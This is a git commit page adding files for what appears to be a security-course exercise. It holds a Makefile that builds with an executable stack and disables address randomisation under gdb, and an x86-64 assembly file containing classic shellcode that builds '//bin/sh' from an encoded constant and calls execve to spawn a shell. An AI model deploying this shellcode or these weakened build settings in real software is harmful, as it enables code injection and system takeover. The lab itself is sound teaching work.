Add q4 files
This commit is contained in:
parent
c3bc46cdac
commit
15695498a4
3 changed files with 57 additions and 0 deletions
|
@ -0,0 +1,37 @@
|
|||
# CC = gcc
|
||||
CFLAGS = -g -zexecstack
|
||||
SFLASG =
|
||||
SRC = $(wildcard *.c) $(wildcard *.s)
|
||||
TGT = $(subst .c,,$(subst. .S,,$(SRC)))
|
||||
BUILD_DIR = build
|
||||
DUMP_DIR = dump
|
||||
|
||||
|
||||
pframe:
|
||||
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
|
||||
tar -xf pframe.tgz &&\
|
||||
rm -rf pframe.tgz
|
||||
|
||||
.gdbinit:
|
||||
|
||||
configure: pframe .gdbinit
|
||||
$(shell echo "python import pframe" > .gdbinit)
|
||||
|
||||
$(BUILD_DIR)/%: %.c
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
$(BUILD_DIR)/%: %.S
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
$(CC) -g $< -o $@ -static -nostdlib
|
||||
|
||||
build: $(addprefix $(BUILD_DIR)/, $(TGT))
|
||||
|
||||
PHONY: gdb
|
||||
gdb: build/shellcode configure
|
||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
|
||||
setarch -R gdb ./$(BUILD_DIR)/shellcode --command=shellcode.gdb
|
||||
|
||||
PHONY: clean
|
||||
clean:
|
||||
@rm -rf $(BUILD_DIR) pframe .gdbinit opcode.txt
|
|
@ -0,0 +1,18 @@
|
|||
|
||||
.text
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
xor %eax,%eax
|
||||
movabs $0xff978cd091969dd1,%rbx
|
||||
neg %rbx
|
||||
push %rbx
|
||||
push %rsp
|
||||
pop %rdi
|
||||
cltd
|
||||
push %rdx
|
||||
push %rdi
|
||||
push %rsp
|
||||
pop %rsi
|
||||
mov $0x3b,%al
|
||||
syscall
|
|
@ -0,0 +1,2 @@
|
|||
b _start
|
||||
r
|
Loading…
Add table
Add a link
Reference in a new issue